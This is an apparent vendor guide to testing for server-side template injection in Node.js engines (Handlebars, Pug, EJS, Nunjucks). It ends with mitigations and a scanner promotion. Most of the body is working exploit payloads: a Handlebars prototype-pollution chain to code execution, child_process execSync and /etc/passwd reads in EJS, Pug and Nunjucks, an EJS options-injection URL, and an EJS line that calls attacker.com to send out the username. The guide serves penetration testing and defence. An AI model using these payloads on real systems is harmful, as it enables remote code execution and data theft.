Node.js Template Injection: Testing Handlebars, Pug, EJS, and Nunjucks
Server-side template injection (SSTI) in Node.js applications has a different character than Python SSTI. Where Jinja2 exploitation paths have been well-documented for years, the Node.js templating ecosystem is less uniformly understood. Each engine has its own syntax, its own approach to sandboxing, and its own route to code execution — and the differences matter both for exploitation and for the developers trying to prevent it.
This guide focuses on the four most prevalent Node.js template engines — Handlebars, Pug, EJS, and Nunjucks — with concrete detection and exploitation techniques for each. If your application runs Express.js with any of these engines, or processes user input through template compilation, these are the techniques to know.
Understanding the Vulnerability
Template injection becomes possible when user-controlled input is passed directly to the template rendering engine rather than as data into a pre-compiled template. The distinction is critical:
// SAFE — user input is passed as data to a fixed template
const template = Handlebars.compile('Hello {{name}}!');
const output = template({ name: userInput }); // userInput is just data
// VULNERABLE — user input is the template itself
const output = Handlebars.compile(userInput)({}); // userInput becomes code
The second pattern appears in custom email templates, dynamic page builders, configuration systems, report generators, and anywhere developers let users customise output with "template syntax." It looks harmless until you understand what the engine can access.
Detection: Finding Template Injection
Because each engine uses different delimiters, use a polyglot probe that will trigger a response across multiple engines:
# Multi-engine detection probe
# If any of these appears evaluated in the response, SSTI exists
{{7*7}} # Handlebars, Nunjucks → look for 49
#{7*7} # Pug → look for 49
<%= 7*7 %> # EJS → look for 49
${7*7} # Template literal (reflected in error if not SSTI)
# Handlebars-specific probe
{{this}}
{{lookup this 'constructor'}}
# EJS-specific
<%= process.env %> # If reflected, environment exposure
# Nunjucks-specific
{{range(0,4)}} # Should output 0,1,2,3 if evaluated
Submit probes in all input fields that appear in rendered output: profile names, email subjects, notification templates, report titles, search queries shown in results pages. Error messages often reveal which engine is in use.
Handlebars
Handlebars is the most widely deployed Node.js template engine, used by many Express.js applications and email template systems. It implements a sandboxed execution environment — but that sandbox has been broken repeatedly through prototype pollution.
Prototype Pollution to RCE
The classic Handlebars SSTI path uses the lookup helper to traverse object prototypes and reach Function constructor:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.env;"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
For RCE, replace return process.env; with:
return require('child_process').execSync('id').toString();
Handlebars versions prior to 4.7.7 are vulnerable. Versions since then have restricted prototype access, but bypass techniques continue to emerge. Check the package.json for the exact version in use.
Handlebars Helpers as Attack Surface
Applications that register custom helpers expose additional attack surface:
// Custom helper registered by the application
Handlebars.registerHelper('exec', function(cmd) {
return require('child_process').execSync(cmd).toString();
});
// Attacker template:
{{exec "cat /etc/passwd"}}
Look for custom helper registrations in server-side JavaScript source. Any helper that executes dynamic code or accesses the filesystem is a potential injection target.
Pug (formerly Jade)
Pug's whitespace-significant syntax and built-in code execution make it particularly dangerous when user input reaches the template compilation stage. Unlike Handlebars, Pug is designed for code execution — it just needs to be pointed at the wrong input.
Direct Code Execution
Pug supports inline JavaScript via - (unbuffered) and = (buffered) prefixes:
- var x = require('child_process').execSync('id').toString()
= x
// Or more compactly:
- global.process.mainModule.require('child_process').execSync('id')
Pug Detection Payloads
// Detection — arithmetic evaluation
= 7*7
// Template output confirmation
p Hello #{name}
// If the application compiles user-supplied Pug source:
- var x = 1+1
= x
Pug injection is often found in CMS platforms, email builders, and notification systems built on Node.js where users can provide "template code" for custom layouts.
EJS (Embedded JavaScript)
EJS uses familiar <%= %> delimiters similar to ERB (Ruby). It is extremely permissive by design — the content of <% tags is executed as raw JavaScript. If user input reaches template compilation, exploitation is trivial.
Direct RCE
<%= require('child_process').execSync('id').toString() %>
<% var x = require('fs').readFileSync('/etc/passwd').toString(); %>
<%= x %>
<% global.process.mainModule.require('child_process').execSync('curl attacker.com/$(whoami)') %>
EJS Options Injection
A subtler EJS vulnerability exists when user-controlled data reaches the options object passed to ejs.render():
// Vulnerable pattern — user controls the options object
app.get('/render', (req, res) => {
const output = ejs.render(template, req.query);
// req.query is spread into the options object
res.send(output);
});
// Attack: set outputFunctionName to inject into the compiled function
// GET /render?outputFunctionName=x;process.mainModule.require('child_process').execSync('id');//
The outputFunctionName, escapeXML, and delimiter options in EJS can be weaponised if user-controlled. Patched in EJS 3.1.7 — check version.
Nunjucks
Nunjucks is Mozilla's template engine, styled after Jinja2. It runs in a more restrictive sandbox than EJS but has its own escape routes.
Nunjucks Escape via Global Object Access
// Nunjucks — access global
{{range.constructor("return global")()}}
// Access process via cycler or other global
{{cycler.constructor.constructor("return process")()}}
// Full RCE via constructor chain
{{range.constructor("return require('child_process').execSync('id').toString()")()}}
Nunjucks Custom Filters
Like Handlebars helpers, custom Nunjucks filters are attack surface:
// Application registers:
env.addFilter('exec', function(str) {
return require('child_process').execSync(str).toString();
});
// Template injection:
{{ "id" | exec }}
Template Engine Fingerprinting
| Engine | Detection Payload | Expected Result | Error Signature |
|---|---|---|---|
| Handlebars | {{7*7}} |
49 rendered | "Parse error" in Handlebars stack trace |
| Pug | = 7*7 |
49 rendered | "unexpected token" in Pug parser |
| EJS | <%= 7*7 %> |
49 rendered | EJS syntax errors include file path |
| Nunjucks | {{7*7}} |
49 rendered | "Template render error" from Nunjucks |
| Mustache | {{7*7}} |
Rendered as literal (no eval) | No error — Mustache is logic-less |
Finding Injection Points in Express.js Applications
When testing Node.js applications, look for the following patterns in source code (if available) or through black-box probing:
// Patterns that indicate template compilation from user input:
res.render(req.params.template) // user controls template file name
ejs.render(req.body.content) // user controls template string
Handlebars.compile(userTemplate)({}) // user controls template source
pug.render(req.body.template) // pug compiles user string
// Patterns that may expose template options:
res.render('view', req.query) // user query params become template data
ejs.render(template, req.body) // user controls render options
Black-box indicators of template injection opportunities:
- Pages that display user input in a "rendered" format (email previews, custom notification templates)
- Template name in URL parameters:
?view=invoice&template=custom - Error messages that reveal template parsing failures with delimiters you submitted
- 404 errors for missing template files when you supply path traversal in template name parameters
Automated Testing
# tplmap — polyglot SSTI detection and exploitation tool
pip install tplmap
python tplmap.py -u "https://target.com/render?name=INJECT"
# Burp Suite — intruder with SSTI wordlist
# Payload list: {{7*7}}, #{7*7}, <%= 7*7 %>, ${7*7}, %{7*7}, {{7*'7'}}
# nuclei template for SSTI detection
nuclei -u https://target.com -t ~/nuclei-templates/vulnerabilities/generic/ssti.yaml
Mitigation
The only reliable fix for template injection is to never compile user input as templates. If users need dynamic content, define a limited set of supported variables and pass user content as data to a server-controlled template — never as the template source itself.
If users legitimately need to provide template syntax, use a purpose-built sandbox engine designed for user input: Liquid (used by Shopify), Nunjucks with a restricted environment, or a custom interpolation implementation that only supports variable substitution with no code execution.
Ironimo tests for server-side template injection across Node.js applications — probing inputs that appear in rendered output, testing template name parameters, and checking EJS options exposure. It covers all major Node.js template engines without requiring source code access.
Start free scan